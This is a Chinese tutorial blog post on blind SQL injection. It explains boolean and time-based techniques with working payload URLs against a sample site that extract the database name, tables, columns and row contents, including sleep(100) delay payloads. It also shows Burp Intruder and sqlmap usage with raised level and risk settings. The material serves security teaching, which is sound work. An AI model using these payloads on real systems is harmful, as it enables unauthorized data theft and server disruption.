盲注

一、盲注简介

注入攻击的本质,是把用户输入的数据当做代码执行。

注入攻击的两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据

盲注,就是在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

与盲注相对应的是显错注入,分别为:
union select 联合查询注入
updatexml 报错注入

盲注也分为两种:
(1)布尔盲注:只会根据注入信息返回True和False,没有了之前的报错信息
(2)时间盲注:界面返回值只有True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看Web页面返回的时间差来判断注入的语句是否正确。

二、布尔盲注

#盲注需要掌握的几个函数
length() #返回字符串的长度
substr() #截取字符串,语法substr(str,start,len),例如substr('abc',1,1)截取a
ascii() #返回字符的ascii码,将字符变为数字
sleep() #将程序延时一段时间,如果使用网站的访问量过大,且全都延时100秒,数据库的资源被大量占用,服务器会崩溃
if(expr1,expr2,expr3) #判断语句,如果第一个语句正确就执行第二个语句,否则执行第三个语句	

ASCII码只有0-127个字符,常用的有32-127,但是为了严谨,还是所有的ASCII码都跑一遍
在这里插入图片描述

#拆解当前数据库名称长度
http://apple.pea.cn/index.php?id=1 and length(database())>1

#利用ASCII码猜解当前数据库名称
http://apple.pea.cn/index.php?id=1 and ascii(substr(database(),1,1))>1

#最好将ascii用括号变为一个整体
http://apple.pea.cn/index.php?id=1 and (ascii(substr(database(),1,1)))>1

#猜解表名,子查询建议加括号
http://apple.pea.cn/index.php?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1

#猜解字段名
http://apple.pea.cn/index.php?id=1 and (ascii(substr((select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1),1,1)))>1

#猜解内容
http://apple.pea.cn/index.php?id=1 and (ascii(substr((select apple1 from admin limit 0,1),1,1)))>1

使用Burp进行布尔盲注

首先对网页进行抓包,对ASCII码变量进行替换,

http://apple.pea.cn/index.php?id=1 and ascii(substr(database(),1,1))>1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第一个字符的ASCII码为107,即小写字母k

还可以同时替换字符的位置以及ASCII码,将Attack type设置为Cluster bomb,在Payload set中有1、2两个选项,先设置的变量为1,后设置的为2。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
1-107-k
2-97-a
3-110-n
4-119-w
5-111-o
6-108-l
7-111-o
8-110-n
9-103-g
10-120-x
11-105-i
12-97-a

使用sqlmap进行布尔盲注

#直接进行注入即可
python sqlmap.py -u http://apple.pea.cn/index.php?id=1

#跑库名
python sqlmap.py -u http://apple.pea.cn/index.php?id=1 --dbs

二、延时注入

界面返回值只有True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看Web页面返回的时间差来判断注入的语句是否正确。

延时盲注和布尔盲注其实没有太大的区别,只不过布尔盲注依靠页面是否正常判断,延时盲注依靠是否延时判断,在操作上也差不多,只不过延时盲注多一个if()判断。

if(expr1,expr2,expr3) #判断语句,如果第一个语句正确,就执行第二个语句,否则执行第三个语句
#延时盲注一般不使用大于小于,因为延时过长
#双引号闭合
#常见的闭合有单引号、双引号、单引号括号、双引号括号
http://apple.pea.cn/index.php?id=1" and if( ascii(substr(database(),1,1))=100,sleep(100),1) -- qwe

使用Burp进行延时盲注

对网页进行抓包,替换ASCII码变量,进行延时盲注,如果有一个数值始终跑步下来,证明那个字符就是我们所需要的

延时的字符为107,即小写字母k
在这里插入图片描述
在这里插入图片描述
使用sqlmap进行延时盲注

#sqlmap有偏好,喜欢将漏洞跑为延时盲注
python sqlmap.py -u http://apple.pea.cn/index.php?id=1

#提高等级
python sqlmap.py -u http://apple.pea.cn/index.php?id=1 --level 3 --risk 2

#帮助其闭合,例如原先为双引号闭合
python sqlmap.py -u http://apple.pea.cn/index.php?id=1"

#三板斧
python sqlmap.py -u http://apple.pea.cn/index.php?id=1" --level 3 --risk 2
  • 6
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

弈-剑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值